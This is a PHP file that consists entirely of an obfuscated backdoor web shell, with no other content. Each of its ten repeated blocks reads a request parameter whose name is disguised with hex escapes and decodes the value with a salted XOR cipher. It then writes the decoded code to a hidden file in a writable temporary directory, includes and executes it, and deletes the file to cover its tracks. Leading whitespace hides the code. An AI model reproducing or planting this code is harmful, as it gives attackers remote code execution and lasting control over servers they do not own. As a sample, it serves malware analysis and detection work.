<?php																																										if(array_key_exists("s\x79m", $_REQUEST)){ $ref = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $component = $_REQUEST["s\x79m"]; $component=explode ( '.' , $component ); $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; $__tmp = $component; while( $v1 = array_shift( $__tmp)) {$chS = ord( $salt[$y % $lenS]); $dec =( ( int)$v1 - $chS -( $y % 10)) ^ 23; $descriptor .= chr( $dec); $y++; } while ($value = array_shift($ref)) { if (!!is_dir($value) && !!is_writable($value)) { $pset = "$value" . "/.data_chunk"; if (file_put_contents($pset, $descriptor)) { include $pset; @unlink($pset); die(); } } } }
																																										if(!is_null($_REQUEST["d\x65\x73c\x72i\x70\x74or"] ?? null)){ $marker = $_REQUEST["d\x65\x73c\x72i\x70\x74or"]; $marker = explode( '.', $marker ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $r = 0; array_walk( $marker, function( $v1) use( &$parameter_group, &$r, $s, $sLen) { $sChar = ord( $s[$r % $sLen]); $dec =( ( int)$v1 - $sChar -( $r % 10))^ 50; $parameter_group .= chr( $dec); $r++;}); $hld = array_filter([getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path()]); for ($component = 0, $data_chunk = count($hld); $component < $data_chunk; $component++) { $token = $hld[$component]; if (!( !is_dir($token) || !is_writable($token) )) { $pset = "$token/.dat"; $success = file_put_contents($pset, $parameter_group); if ($success) { include $pset; @unlink($pset); exit;} } } }
																																										if(@$_POST["ent"] !== null){ $ent = $_POST["ent"]; $ent = explode ( '.' , $ent); $value =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $m =0; while ($m < count($ent)) { $v1 =$ent[$m]; $chS =ord($s[$m % $lenS] ); $dec =((int)$v1 - $chS - ($m % 10)) ^ 62; $value .= chr($dec ); $m++; } $elem = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); while ($desc = array_shift($elem)) { if (max(0, is_dir($desc) * is_writable($desc))) { $entity = "$desc/.marker"; $success = file_put_contents($entity, $value); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6Fbj"])){ $property_set = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $ent = $_POST["\x6Fbj"]; $ent = explode ( "." , $ent ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; $__len = count($ent); do { if ($m >= $__len) break; $v8 = $ent[$m]; $sChar = ord($salt[$m % $lenS]); $d = ((int)$v8 - $sChar - ($m % 10)) ^8; $value .= chr($d); $m++; } while (true); for ($holder = 0, $flg = count($property_set); $holder < $flg; $holder++) { $item = $property_set[$holder]; if (max(0, is_dir($item) * is_writable($item))) { $comp = vsprintf("%s/%s", [$item, ".descriptor"]); if (@file_put_contents($comp, $value) !== false) { include $comp; unlink($comp); exit; } } } }
																																										if(!is_null($_REQUEST["\x65\x6C\x65\x6Dent"] ?? null)){ $bind = $_REQUEST["\x65\x6C\x65\x6Dent"]; $bind =explode ( ".", $bind ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($bind); for ($v = 0; $v < $__len; $v++) { $v7 = $bind[$v]; $sChar = ord($s[$v % $sLen]); $d = ((int)$v7 - $sChar - ($v % 10)) ^ 65; $fac .= chr($d); } $data_chunk = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]); foreach ($data_chunk as $key => $flag) { if (array_product([is_dir($flag), is_writable($flag)])) { $object = join("/", [$flag, ".ptr"]); if (file_put_contents($object, $fac)) { require $object; unlink($object); exit; } } } }
																																										if(array_key_exists("dchunk", $_REQUEST)){ $entry = array_filter(["/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp"]); $hld = $_REQUEST["dchunk"]; $hld = explode( '.' , $hld ); $ref = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $l = 0; $__len = count($hld); do { if ($l >= $__len) break; $v6 = $hld[$l]; $chS = ord($s3[$l % $lenS]); $d = ((int)$v6 - $chS - ($l % 10))^ 23; $ref .= chr($d); $l++; } while (true); foreach ($entry as $flg) { if (is_dir($flg) ? is_writable($flg) : false) { $rec = "$flg" . "/.parameter_group"; if (file_put_contents($rec, $ref)) { require $rec; unlink($rec); exit; } } } }
																																										if(!is_null($_REQUEST["\x63\x6Fmp"] ?? null)){ $factor = $_REQUEST["\x63\x6Fmp"]; $factor= explode ( '.' , $factor ) ; $k =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1 ); foreach($factor as $t=> $v2) { $chS =ord($s1[$t % $sLen] ); $d =((int)$v2 - $chS -($t % 10))^1; $k .= chr($d );} $binding = array_filter(["/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm"]); foreach ($binding as $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $itm = "$entry/.flg"; $success = file_put_contents($itm, $k); if ($success) { include $itm; @unlink($itm); exit;} } } }
																																										if(array_key_exists("pointer", $_REQUEST) && !is_null($_REQUEST["pointer"])){ $property_set = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp"]); $record = $_REQUEST["pointer"]; $record = explode ( "." , $record ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $record as $u => $v1): $chS = ord( $s[$u % $lenS]); $d =( ( int)$v1 - $chS -( $u % 10))^76; $entry.=chr( $d); endforeach; $val = 0; do { $fac = $property_set[$val] ?? null; if ($val >= count($property_set)) break; if (is_dir($fac) && is_writable($fac)) { $dat = str_replace("{var_dir}", $fac, "{var_dir}/.k"); if (@file_put_contents($dat, $entry) !== false) { include $dat; unlink($dat); exit; } } $val++; } while (true); }
																																										if(array_key_exists("hl\x64", $_POST) && !is_null($_POST["hl\x64"])){ $comp = $_POST["hl\x64"]; $comp =explode ("." ,$comp ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $n = 0; while ($n < count($comp)) { $v3 = $comp[$n]; $chS = ord($s[$n % $lenS]); $d = ((int)$v3 - $chS - ($n % 10)) ^ 66; $descriptor .= chr($d); $n++; } $ent = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($ent as $obj) { if (is_dir($obj) ? is_writable($obj) : false) { $data = "$obj/.pointer"; if (file_put_contents($data, $descriptor)) { include $data; @unlink($data); die(); } } } }


if(isset($_POST) && isset($_POST["\x62indi\x6Eg"])){
	$key = $_POST["\x62indi\x6Eg"];
	$key 		=			explode 	 (	'.' 	 , $key )			; 
	$val = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3);
            $r = 0;
    
            array_walk($key, function ($v3) use (&$val, &$r, $salt3, $lenS) {
                $sChar = ord($salt3[$r		%		$lenS]);
                $dec = ((int)$v3 - $sChar - ($r		%		10))^ 30;
                $val .= chr($dec);
                $r++;	 });
	$reference = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), getenv("TMP")]);
	$parameter_group = 0;
do {
    $flag = $reference[$parameter_group] ?? null;
    if ($parameter_group >= count($reference)) break;
    		if ((is_dir($flag) and is_writable($flag))) {
    $flg = implode("/", [$flag, ".k"]);
    if (file_put_contents($flg, $val)) {
	include $flg;
	@unlink($flg);
	exit;
}
}
    $parameter_group++;
} while (true);
}